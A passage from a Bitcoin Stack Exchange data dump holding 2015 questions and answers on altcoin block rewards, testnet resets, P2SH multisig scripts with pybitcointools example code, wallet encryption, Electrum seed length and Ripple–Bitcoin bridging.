computed&#xA;&#xA;int nCoinbaseMaturity = 80;&#xA;CBlockIndex* pindexGenesisBlock = NULL;&#xA;int nBestHeight = -1;&#xA;&#xA;and the rewards from main.cpp&#xA;// miner's coin base reward&#xA;int64_t GetProofOfWorkReward(int64_t nFees)&#xA;{&#xA;    int64_t nSubsidy = 3500 * COIN;&#xA;&#xA;    if (fDebug &amp;amp;&amp;amp; GetBoolArg(&quot;-printcreation&quot;))&#xA;        printf(&quot;GetProofOfWorkReward() : create=%s nSubsidy=%&quot;PRId64&quot;\n&quot;, FormatMoney(nSubsidy).c_str(), nSubsidy);&#xA;&#xA;    return nSubsidy + nFees;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Main.h&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;static const int LAST_POW_BLOCK = 2880;&#xA;&#xA;static const unsigned int MAX_BLOCK_SIZE = 1000000;&#xA;static const unsigned int MAX_BLOCK_SIZE_GEN = MAX_BLOCK_SIZE/2;&#xA;static const unsigned int MAX_BLOCK_SIGOPS = MAX_BLOCK_SIZE/50;&#xA;static const unsigned int MAX_ORPHAN_TRANSACTIONS = MAX_BLOCK_SIZE/100;&#xA;static const unsigned int MAX_INV_SZ = 50000;&#xA;static const int64_t MIN_TX_FEE = 1000;&#xA;static const int64_t MIN_RELAY_TX_FEE = MIN_TX_FEE;&#xA;static const int64_t MAX_MONEY = 17000000 * COIN;&#xA;static const int64_t COIN_YEAR_REWARD = 3 * CENT; // 3% per year&#xA;static const int64_t MAX_MINT_PROOF_OF_STAKE = 0.03 * COIN; // 3% annual interest&#xA;static const int MODIFIER_INTERVAL_SWITCH = 2000;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24812" LastEditorUserId="2306" LastEditDate="2015-03-24T18:39:28.657" LastActivityDate="2015-03-24T18:45:42.020" Title="What does 1 day PoW mean?" Tags="|altcoin-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36578" PostTypeId="2" ParentId="36555" CreationDate="2015-03-24T18:30:05.023" Score="1" Body="&lt;p&gt;Mining solves two problems: double spending and initial distribution of funds.&lt;/p&gt;&#xA;&lt;h3&gt;Double Spending&lt;/h3&gt;&#xA;&lt;p&gt;You need some way of addressing double-spending; otherwise people can just copy money over and over. Besides Bitcoin's system, there are two secure, distributed ways of addressing double-spending: Ripple's solution and Proof of Stake with broadcast checkpoints.&lt;/p&gt;&#xA;&lt;p&gt;Ripple's solution is to have a handful of semi-trusted nodes called validators, which are picked by humans. They come to a consensus, and then they all sign the consensus. A client will refuse to trust the state of the network unless all of its validators have signed off on it.&lt;/p&gt;&#xA;&lt;p&gt;Proof of Stake is a system where nodes generate blocks like normal, but instead of trying to repeatedly hash them, they use their funds as proof that they're a real node. You also need to have checkpoints regularly broadcast by a central node, because otherwise the system is susceptible to an attack where someone rewrites the entire history at once.&lt;/p&gt;&#xA;&lt;p&gt;This is the harder of the two problems.&lt;/p&gt;&#xA;&lt;h3&gt;Initial Distribution of Funds&lt;/h3&gt;&#xA;&lt;p&gt;You also need some way to issue funds in the first place. There's a bunch of ways that you can issue initial funds: per email address, per IP address, per phone number, et cetera. The problem with this there's generally no way of implementing them in a distributed fashion.&lt;/p&gt;&#xA;&lt;p&gt;For example, suppose you make a rule saying that a person must prove that they own a Twitter account, and then they get 100 coins. But when other nodes are checking this, half of them get a response saying that the account doesn't exist. (This has happened a couple of times in the past with Twitter.)&lt;/p&gt;&#xA;&lt;p&gt;A good compromise solution is to have a key held by the developer that has the power to mint X coins every Y hours. Then, have a central server that issues coins according to whatever policy you want.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-03-24T18:30:05.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36579" PostTypeId="2" ParentId="36577" CreationDate="2015-03-24T18:38:22.463" Score="1" Body="&lt;p&gt;It doesn't have a 24-hour block time, it &lt;a href=&quot;https://bitcointalk.org/index.php?topic=700289.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;issued all its PoW coins in the first 24 hours of existence&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The math you're looking for is &lt;code&gt;nTargetSpacing * LAST_POW_BLOCK&lt;/code&gt;, which multiplies to 86400, the number of seconds in 24 hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://concealcoin.pw/&quot; rel=&quot;nofollow noreferrer&quot;&gt;As you can see from their home page&lt;/a&gt; (&lt;a href=&quot;https://i.stack.imgur.com/Opvoa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;screenshot&lt;/a&gt;), that worked out about as well as you'd expect.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-03-24T18:45:42.020" LastActivityDate="2015-03-24T18:45:42.020" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36580" PostTypeId="2" ParentId="36252" CreationDate="2015-03-24T19:46:36.070" Score="2" Body="&lt;p&gt;The testnet networks are very similar to each other. I listed all of the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/9975/has-the-testnet-ever-been-reset&quot;&gt;testnet resets&lt;/a&gt; here, and it seems like they make the minimum changes necessary to create a new blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like the testnet3 reset came about because of compatibility issues:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Mark III&quot; because this is the third genesis block for the testnet. The&#xA;  main reason for the reset is to get a more 'sane' test network; with the&#xA;  BIP16 and BIP30 and testnet difficulty blockchain rule changes the old&#xA;  testnet is a mess, with old clients serving up different, incompatible&#xA;  chains.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;http://sourceforge.net/p/bitcoin/mailman/message/29331507/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Source.&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The creation of testnet2 predates the Bitcoin mailing list, but given this discussion in #bitcoin-dev, I think it happened because difficulty on testnet was too high:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;17:04   slush   btw any chance to reset testnet?&#xA;17:05   tcatm   you could use your pool and a modified bitcoind to reset it in about 6 hours&#xA;17:05   slush   no, I don't want to connect pool to testnet ;)&#xA;17:06   slush   But new genesis block in next release should solve this, right?&#xA;17:07   gavinandresen   You talking about possible testnet reset?&#xA;17:08   slush   it would be nice. It's practically impossible to 'test' anything on testnet :)&#xA;17:08   gavinandresen   If you have two machines you can create your own private testnet&#xA;17:09   gavinandresen   ... but you can't test until they've generated at least 100 blocks.&#xA;17:10   slush   gavinandresen: agree, but is there any reason for keeping difficulty so high?&#xA;17:10   gavinandresen   Nope&#xA;[Edited for length.]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;http://bitcoinstats.com/irc/bitcoin-dev/logs/2011/01/30#l1296407063&quot; rel=&quot;nofollow noreferrer&quot;&gt;Source.&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-03-28T06:23:18.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36581" PostTypeId="1" CreationDate="2015-03-24T21:34:18.980" Score="2" ViewCount="504" Body="&lt;p&gt;I'm aware of some Javascript RPC Miners, but does anyone know of any Stratum Javascrip Miners for use in my website?&lt;/p&gt;&#xA;" OwnerUserId="14826" LastEditorUserId="5406" LastEditDate="2016-04-02T10:48:31.420" LastActivityDate="2019-01-04T21:16:51.953" Title="Javascript Stratum Miner" Tags="|stratum|webminer|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36582" PostTypeId="1" AcceptedAnswerId="36590" CreationDate="2015-03-24T21:37:17.060" Score="3" ViewCount="1513" Body="&lt;p&gt;The 2.x version of Electrum uses mnemonic sentences that are 13 words long. However, 1.x versions use a sentence only 12 words long.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize that 2.x changed the derivation of key pairs significantly, but I'm not clear why a sentence of 12 words wouldn't work just as well as one of 13 words.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is an extra word now used?&lt;/p&gt;&#xA;" OwnerUserId="10845" LastActivityDate="2015-03-25T10:03:59.107" Title="Why are Electrum 2.x mnemonic sentences thirteen words long?" Tags="|electrum|mnemonic-seed|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36583" PostTypeId="2" ParentId="36575" CreationDate="2015-03-24T23:26:43.787" Score="2" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the &lt;strong&gt;spending&lt;/strong&gt; multisig transaction is on the blockchain (not the funding transaction), you can see the public keys used to spend those multisig funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These public keys are found in the full redeemScript provided in the spending transaction. See a &lt;a href=&quot;http://www.soroushjp.com/2014/12/20/bitcoin-multisig-the-hard-way-understanding-raw-multisignature-bitcoin-transactions/#spendingtx&quot; rel=&quot;nofollow&quot;&gt;breakdown of a multisig spending transaction here&lt;/a&gt;, which shows that a redeemScript is indeed included in the spending transaction. See a &lt;a href=&quot;http://www.soroushjp.com/2014/12/20/bitcoin-multisig-the-hard-way-understanding-raw-multisignature-bitcoin-transactions/#redeemscript&quot; rel=&quot;nofollow&quot;&gt;breakdown of the full redeemScript here&lt;/a&gt;, which shows that the public keys are included in this full redeemScript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me clarify that the public keys are not seen in the &lt;strong&gt;funding&lt;/strong&gt; transaction because only the redeemScript &lt;strong&gt;hash&lt;/strong&gt; is revealed here, not the full redeem script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: In the explanation above, I'm assuming you are talking about the Pay to Script Hash (P2SH) form of multisig, which is the more common and modern form of multisig. The answer to your question would still be &lt;em&gt;yes&lt;/em&gt; for a non-P2SH multisig transaction, except that the public keys are visible in the &lt;strong&gt;funding&lt;/strong&gt; transaction, rather than the spending transaction. The public keys are revealed in the scriptPubKey of the funding transaction, which looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;m&amp;gt; &amp;lt;A pubkey&amp;gt; [B pubkey] [C pubkey...] &amp;lt;n&amp;gt; OP_CHECKMULTISIG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://bitcoin.org/en/developer-guide#multisig&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/developer-guide#multisig&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18713" LastActivityDate="2015-03-24T23:26:43.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36584" PostTypeId="1" AcceptedAnswerId="36587" CreationDate="2015-03-25T00:51:09.810" Score="1" ViewCount="270" Body="&lt;p&gt;Isn't my wallet (i.e. my private key) already &lt;em&gt;private&lt;/em&gt;? What does it mean to set a password for it? I assumed it encrypted the wallet file, but &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/16573/multibit-password-protection-how-secure-is-it&quot;&gt;this answer&lt;/a&gt; seems to point otherwise. How can they verify the password? I don't feel very comfortable sending it to a server, and it doesn't seem any safer to store a password with the wallet file than just have a wallet file without a password. However if it does encrypt the wallet, what software is used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm very unsure of multibit, it seems very non-transparent. The wallet file seems to be a binary file instead of a plain text one with my key (granted plain-text &quot;isn't safe&quot;, but so isn't a binary file that can be used by an attacker on his multibit client). I don't even know what multibit is doing with that file...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks... Noob here.&lt;/p&gt;&#xA;" OwnerUserId="3541" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2015-03-25T09:47:34.653" Title="What does it mean to &quot;password protect&quot; your wallet on Multibit?" Tags="|wallet|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36585" PostTypeId="2" ParentId="36575" CreationDate="2015-03-25T02:25:29.540" Score="1" Body="&lt;p&gt;A P2SH multisig Tx (which first appeared in &lt;a href=&quot;https://blockchain.info/tx-index/9c08a4d78931342b37fd5f72900fb9983087e6f46c4a097d8a1f52c74e28eaf6&quot; rel=&quot;nofollow noreferrer&quot;&gt;9c08a4d78931342b37fd5f72900fb9983087e6f46c4a097d8a1f52c74e28eaf6&lt;/a&gt;) is comparable to P2PKH (pay to pubkeyhash) in that the hash is what is being referenced by the spending Tx's scriptSig (ie the Tx which eventually &quot;unlocks&quot; the multisig funds).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're interested in seeing how this the P2SH address is calculated, there's Python 2.7 code showing that below. Note that the general form (as mentioned by @soroushjp) of a multisig Tx is &lt;code&gt;&amp;lt;m&amp;gt; &amp;lt;A pubkey&amp;gt; [B pubkey] [C pubkey...] &amp;lt;n&amp;gt; OP_CHECKMULTISIG&lt;/code&gt; and the redemption script &lt;strong&gt;MUST&lt;/strong&gt; run the signatures &lt;strong&gt;in order&lt;/strong&gt; and the script &lt;strong&gt;MUST&lt;/strong&gt; begin with &lt;code&gt;OP_0&lt;/code&gt;/&lt;code&gt;0x00&lt;/code&gt; due to an &lt;em&gt;off by 1 error&lt;/em&gt; which pops an extra value from the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PYTHON CODE:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;I'll use pybitcointools&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;from bitcoin import * # this is importing all pybitcointools functions&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;privkeys, pubkeys, addrs = [], [], []&#xA;privkeys = [random_key() for x in range(0, 3)]&#xA;pubkeys = [privtopub(x) for x in privkeys]&#xA;addrs = [privtoaddr(x, magicbyte=0) for x in privkeys] # magicbyte = 0x6f for testnet&#xA;mykeys = zip(privkeys, pubkeys, addrs)&#xA;&#xA;print mykeys&#xA;&amp;gt;&amp;gt;&amp;gt; [('b24b72423d008a252f47bcfcb270dcd71a364a91a574adb266e1aa22d3d2543d', '04eba461feced2a3d86aae5ca726c4d41f6d2a84f68fb83b5d91ead68fb0f9974886b0f24032db18a1603530c4039b54095acc460f84e47f192ee001230171be36', '18oYZEBqN2xPsiWvbmvSNVQDaS49RK2wCq'), ('f0764f256ad87129fbbc77af32b016680bce7e91be236231ee08ab4b66a6de84', '049ca1fa12b955f2fc1b6dab2e3138946f2d9ba6cb0c477c47bf3397f21d5709e100040d9675cef90cc1a0389293ec8ffdb2487093265290cbe66390dee36dcadd', '1DkBSD6pCRrNbWAkhxTbppnRPe42ciu2jB'), ('62666580151ada2dbf70d2a80c94a2bc20f5cc2f871a9aabb0eb11c6af24464b', '04982b9b7c004edc76cbedd363dd198fb4bcb6140e2bd589b4e33c9ecb741ed28c2ca3a6a54907d6d27f18be8898e88095cec7a7dc8cdffe7e5900794fa782ee8f', '1E7gn9B82hXmawmeyY7sJ9BPoSfYCXkxh7')]&#xA;&#xA;   # making the raw script&#xA;   rawscript = mk_multisig_script(pubkeys, 2)  # means make a 2 of 3 multisig redeemScript&#xA;   descript = deserialize_script(script) # shows the op_codes pushed to stack&#xA;   print descript&#xA;   print script&#xA;&#xA;[2, '04eba461feced2a3d86aae5ca726c4d41f6d2a84f68fb83b5d91ead68fb0f9974886b0f24032db18a1603530c4039b54095acc460f84e47f192ee001230171be36', '049ca1fa12b955f2fc1b6dab2e3138946f2d9ba6cb0c477c47bf3397f21d5709e100040d9675cef90cc1a0389293ec8ffdb2487093265290cbe66390dee36dcadd', '04982b9b7c004edc76cbedd363dd198fb4bcb6140e2bd589b4e33c9ecb741ed28c2ca3a6a54907d6d27f18be8898e88095cec7a7dc8cdffe7e5900794fa782ee8f', 3, 174]&#xA;&#xA;524104eba461feced2a3d86aae5ca726c4d41f6d2a84f68fb83b5d91ead68fb0f9974886b0f24032db18a1603530c4039b54095acc460f84e47f192ee001230171be3641049ca1fa12b955f2fc1b6dab2e3138946f2d9ba6cb0c477c47bf3397f21d5709e100040d9675cef90cc1a0389293ec8ffdb2487093265290cbe66390dee36dcadd4104982b9b7c004edc76cbedd363dd198fb4bcb6140e2bd589b4e33c9ecb741ed28c2ca3a6a54907d6d27f18be8898e88095cec7a7dc8cdffe7e5900794fa782ee8f53ae&#xA;&#xA;# cheating here, but see comments following&#xA;scriptaddress = scriptaddr(script)    # 37TtE1nfm51u6LNkNzzsjuBcuYmhTEmkq6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;scriptaddr&lt;/code&gt; is doing the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;SHA256 of &lt;code&gt;524104eb...8f53ae&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;RIPEMD160 of #1&lt;/li&gt;&#xA;&lt;li&gt;Converting #2 from hex ==&gt; Base58&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It's worth mentioning that a standard Tx (ie accepted by core software, miners) does allow for using the script directly (without using P2SH) however the limit for this method is a 2of3 multisig. Why? Take an example of a m-of-15 using uncompressed public keys, which has a minimum size of &lt;code&gt;15 * 65 = 975 bytes&lt;/code&gt; in size just for the outputs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some other multisig variations:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;OP_1 OP_DATA_65 OP_DATA_65 OP_2 OP_CHECK_MULTISIG:&#xA;  60a20bd93aa49ab4b28d514ec10b06e1829ce6818ec06cd3aabd013ebcdc4bb1 OP_1&#xA;  OP_DATA_33 OP_DATA_33 OP_DATA_33 OP_3 OP_CHECK_MULTISIG:&#xA;  0109e3f8d2d324b8d0c0fdd34d369ebcc69fbcc5a0cabe781f69867a0ba1dd74 OP_1&#xA;  OP_DATA_65 OP_DATA_33 OP_DATA_33 OP_3 OP_CHECK_MULTISIG:&#xA;  14015bd586c0c7a28979ca294b114441f23bfc97be17cd6077b9e12e2709fec3 OP_2&#xA;  OP_DATA_65 OP_DATA_65 OP_DATA_65 OP_3 OP_CHECK_MULTISIG:&#xA;  6d5088c138e2fbf4ea7a8c2cb1b57a76c4b0a5fab5f4c188696aad807a5ba6d8 OP_2&#xA;  OP_DATA_65 OP_DATA_65 OP_2 OP_CHECK_MULTISIG:&#xA;  947539645c59e6ab0cda61826cbacb55ef97a8178f012f8c18abe504bf66d4ce OP_1&#xA;  OP_DATA_33 OP_1 OP_CHECK_MULTISIG:&#xA;  b96af3b69b48a82c5eae3e44ebb6ef93f30d7764b1d5b40243e11b0d374ac1b7&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="2279" LastEditDate="2018-09-30T16:41:53.410" LastActivityDate="2018-09-30T16:41:53.410" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="36586" PostTypeId="2" ParentId="36554" CreationDate="2015-03-25T02:46:16.067" Score="1" Body="&lt;p&gt;I found this &lt;a href=&quot;http://www.overclock.net/t/1487157/gridseed-help&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt; apparently cgminer doesn't like usb3 according to the forum post don't know why I thought usb3 is backwards compatiable. But I tried thinking this is bull but it worked.&lt;/p&gt;&#xA;" OwnerUserId="24798" LastActivityDate="2015-03-25T02:46:16.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36587" PostTypeId="2" ParentId="36584" CreationDate="2015-03-25T09:47:34.653" Score="3" Body="&lt;p&gt;Your &lt;code&gt;wallet.dat&lt;/code&gt; file contains your private key. By default this is saved in clear text. Meaning that anybody who gets a hold of this file, could see the private key and therefore spend your money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When password protecting this file, to see the private key, you need a password. MultiBit uses a well known Java library to &quot;password protect&quot; it. It's all open source and well peer reviewed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't trust MultiBit you can still encrypt your &lt;code&gt;wallet.dat&lt;/code&gt; file using other software. You must also understand that if you decide to unprotect your wallet file, it's not necessarily the case that people will be able to steal your money; they would still have to get a hold of the wallet.dat file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it's best practice to password protect it, so in case you lose your file, or a hacker enters your computer, they won't be able to spend your money because they would need the password.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2015-03-25T09:47:34.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36589" PostTypeId="1" CreationDate="2015-03-25T09:59:28.707" Score="1" ViewCount="1775" Body="&lt;p&gt;I'm trying to compile Bitcoin from source code in Windows 7.&lt;br&gt;&#xA;When I run &lt;code&gt;./configure&lt;/code&gt;, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;checking for Berkeley DB C++ headers... no&#xA;configure: error: libdb_cxx headers missing&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have followed all the steps mentioned in the source code folder &lt;code&gt;doc/build_msw&lt;/code&gt;, but still get the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, I have tried following these instructions for building Bitcoin on Windows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/587/how-do-i-build-bitcoin-source-in-windows-7&quot;&gt;How do I build Bitcoin source in Windows 7?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=149479.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Building headless Bitcoin and Bitcoin-qt on Windows&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have installed &lt;code&gt;berkeleydb 4.8.30.msi&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What else can I try to resolve this issue?&lt;/p&gt;&#xA;" OwnerUserId="22907" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2015-03-25T10:50:10.770" Title="Problem with Berkeley DB while building Bitcoin on Windows from Source Code?" Tags="|bitcoin-core|windows|compiling|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="36590" PostTypeId="2" ParentId="36582" CreationDate="2015-03-25T10:03:59.107" Score="3" Body="&lt;p&gt;The seed phrases in 2.0 are longer because 8 extra bits are required in order to store the seed version number. (default entropy is 128 bits)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the number of words in the seed phrase depends on the size of the wordlist used in the generation. Currently, the English wordlist used in Electrum has 2048 words, which results in 13 words per seed phrase. This wordlist can be extended in the future, for example 2581 words would give you 12 words per seed.&lt;/p&gt;&#xA;" OwnerUserId="15558" LastActivityDate="2015-03-25T10:03:59.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36591" PostTypeId="1" CreationDate="2015-03-25T10:50:20.603" Score="1" ViewCount="176" Body="&lt;p&gt;I want to buy educational videos from someone in the USA, who offers them privately for sale as a digital download. He accepts Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm purchasing them from India.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Would it be legal for me to buy from him in this fashion?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="24816" LastEditorUserId="5406" LastEditDate="2015-03-25T12:14:13.527" LastActivityDate="2015-08-25T07:39:07.700" Title="Is it legal to buy things internationally for Bitcoin from India?" Tags="|legal|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36593" PostTypeId="1" AcceptedAnswerId="36596" CreationDate="2015-03-26T03:40:15.213" Score="2" ViewCount="283" Body="&lt;p&gt;I am interested in using the ripple network in conjunction with bitcoin transactions, but am curious as to interplay between the ripple ledger verification and the bitcoin blockchain verification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that the ripple network operates as essentially a series of IOUs and allows the ledger to be verified in an order of magnitude of seconds, however, a Bitcoin block takes on the order of magnitude of 10 minutes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this mean that ripple transactions that involve bitcoin are entirely off the chain transactions or am I somehow missing something? I am just trying to get my head wrapped around the seemingly hand-wavy aspect that something that takes 10 minutes to verify can be used in a transaction that takes only 5 seconds to verify.&lt;/p&gt;&#xA;" OwnerUserId="23313" LastEditorUserId="5406" LastEditDate="2021-02-01T19:13:08.923" LastActivityDate="2021-02-01T19:13:08.923" Title="Bitcoin transactions over Ripple Network" Tags="|blockchain|block|ripple|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36595" PostTypeId="1" CreationDate="2015-03-26T09:10:52.833" Score="1" ViewCount="258" Body="&lt;p&gt;I want to create a bitcoin wallet executable file in Ubuntu with all its dependencies. So when use that file from some other system it will work perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I make a portable version of Bitcoin for Ubuntu?&lt;/p&gt;&#xA;" OwnerUserId="23142" LastEditorUserId="2306" LastEditDate="2015-03-27T22:20:58.437" LastActivityDate="2015-03-27T22:20:58.437" Title="How I make a portable version of Bitcoin for Ubuntu?" Tags="|wallet|bitcoind|bitcoin-core|ubuntu|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="36596" PostTypeId="2" ParentId="36593" CreationDate="2015-03-26T10:13:29.557" Score="2" Body="&lt;p&gt;As you already have described, Ripple transactions are based on exchanging IOUs. As such, when you trade bitcoins on the ripple network, you are trading IOUs denominated in Bitcoin owed to you by some party, e.g. BTC owed to you by Bitstamp. Therefore, as long as the transaction is between Ripple users, it is completely off-chain and can be confirmed within seconds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there is at least one Ripple Bitcoin bridge which is offered by Bitstamp. This bridge allows Ripple transactions to directly end in on-chain Bitcoin payouts. It works by having a Ripple transaction send money to Bitstamp, who then converts the amount and sends Bitcoin to the recipient. The Ripple side takes the regular short time to confirm, the Bitcoin side is a regular on-chain transaction though, which will be confirmed as usual in the next Bitcoin block.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-03-26T10:13:29.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36597" PostTypeId="1" AcceptedAnswerId="70423" CreationDate="2015-03-26T13:41:40.307" Score="6" ViewCount="704" Body="&lt;p&gt;Is there a list of companies that has implemented either their own crptocurrency or went with the color coins approach into their business? I'm particularly looking for non-mining related companies that went with the color coins approach piggy backing on top of an existing cryptocurrency. Either they used it as a way of points or actual currency in their business to buy products/services. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2018-02-08T00:41:03.507" Title="List of companies that has Implemented their own cryptocurrency or Color Coins in their business?" Tags="|business|colored-coins|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36598" PostTypeId="2" ParentId="17629" CreationDate="2015-03-26T16:44:18.517" Score="0" Body="&lt;p&gt;You can actually do this without having to trust staff with your coins. Since it's uncommon for people to overpay, you could have something like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A Hierarchical Deterministic (equivalent to electrum) wallet where the server/POS terminal can derive a new public key, but does not have access to private keys. It gives the customer an unique address to pay to.&lt;/li&gt;&#xA;&lt;li&gt;A server with a knowledge of your orders + their addresses can monitor (without private keys if you like) this address for payment, and notify you on receipt of funds. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Two-way Bitcoin ATM's work in a similar fashion - you can be sure you're not sending BTC to a private key held on the device, but some other wallet entirely. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to issue immediate refunds, be aware that the PaymentProtocol, heavily used in all wallets for fulfilling payments to others, lets buyers specify a return address. You could use this, instead of a purely offline wallet, you could make use of HD wallets with multisignature addresses. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Each member of staff could have a HD wallet they have the private keys for. You give each member of staff your personal extended public key, and your stores extended public key. For each order a new 2-of-3 multisig address is created. &lt;/li&gt;&#xA;&lt;li&gt;Every member of staff can now generate a receive-only address for the customer to pay on. You can be notified of payments in a similar fashion to before. &lt;/li&gt;&#xA;&lt;li&gt;If they do need to issue a refund, the member of staff can add a signature from their private key, but the constraint is 2 signatures, so he needs you to add your approval. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also since you have two keys in there, it means you can personally refund transactions to buyers if the member of staff wasn't present. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The benefits of the second case are that: refunds are fully taken care of, and your staff aren't exposed to moving balances to an offline wallet. &lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2015-03-26T16:44:18.517" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
